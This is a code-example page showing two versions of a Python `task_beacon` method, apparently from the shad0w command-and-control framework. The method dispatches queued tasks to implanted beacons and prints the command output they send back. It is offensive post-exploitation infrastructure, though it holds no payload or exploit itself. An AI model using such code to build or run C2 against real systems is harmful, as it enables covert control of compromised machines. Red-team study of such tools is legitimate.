示例#1
0
    def task_beacon(self, request):

        # get the beacon id from the beacon

        # print(request.get_json(force=True))

        jdata = request.get_json(force=True)

        # print("jdata: ", jdata)

        beacon_id, opcode, data = tools.get_data_from_json(jdata)

        # only if were given an id by the beacon

        if beacon_id:

            # update the ping
            try:
                self.shad0w.beacons[beacon_id]["last_checkin"] = str(
                    datetime.now())
                self.shad0w.beacons[beacon_id][
                    "last_checkin_raw"] = datetime.now()
            except KeyError:
                pass

            try:
                # if the beacon isnt just checking in to give us
                # data then build a responce to give the beacon

                if ((opcode == 0) and (data == "")):
                    # get the current task
                    tasklist = self.shad0w.beacons[beacon_id]["task"]
                    # build the responce
                    task = self.builder.build(beacon_id=beacon_id,
                                              task=tasklist[0],
                                              args=tasklist[1])
                    # clear the task
                    self.shad0w.beacons[beacon_id]["task"] = None
                    # inform user
                    self.shad0w.debug.log(
                        f"Beacon ({beacon_id}) received task", log=True)
                    return task

                # check if the data is for the current beacon
                if beacon_id == self.shad0w.current_beacon:
                    # check if we should display the data
                    callback = self.shad0w.beacons[beacon_id]["callback"]
                    return callback(self.shad0w, data)

                # another session has returned data
                if beacon_id != self.shad0w.current_beacon:
                    print("other")
                    return task

            except:
                # there aint a task, so tell em that
                return self.builder.build(beacon_id=beacon_id, task=None)
        else:
            # ignore
            return self.builder.build(blank=True)
示例#2
0
    def task_beacon(self, request):

        # get the beacon id from the beacon

        # print(request.get_json(force=True))

        jdata = request.get_json(force=True)
        beacon_id, opcode, data = tools.get_data_from_json(jdata)

        # only if were given an id by the beacon

        if beacon_id:
            try:
                # if the beacon isnt just checking in to give us
                # data then build a responce to give the beacon

                if ((opcode == 0) and (data == "")):
                    # get the current task
                    tasklist = self.shad0w.beacons[beacon_id]["task"]
                    # build the responce
                    task = self.builder.build(beacon_id=beacon_id,
                                              task=tasklist[0],
                                              args=tasklist[1])
                    # clear the task
                    self.shad0w.beacons[beacon_id]["task"] = None
                    # inform user
                    self.shad0w.debug.good(
                        f"Beacon ({beacon_id}) received task")
                    return task

                # check if the data is for the current beacon
                if beacon_id == self.shad0w.current_beacon:
                    # check if we should display the data
                    if opcode == DATA_CMD_OUT:
                        # need to find a nicer way to display the data
                        # self.shad0w.debug.good(f"recived {len(data)} bytes:\n\n{data}")
                        sys.stdout.write(data)
                    return task

                # another session has returned data
                if beacon_id != self.shad0w.current_beacon:
                    print("other")
                    return task

            except:
                # there aint a task, so tell em that
                return self.builder.build(beacon_id=beacon_id, task=None)
        else:
            # ignore
            return self.builder.build(blank=True)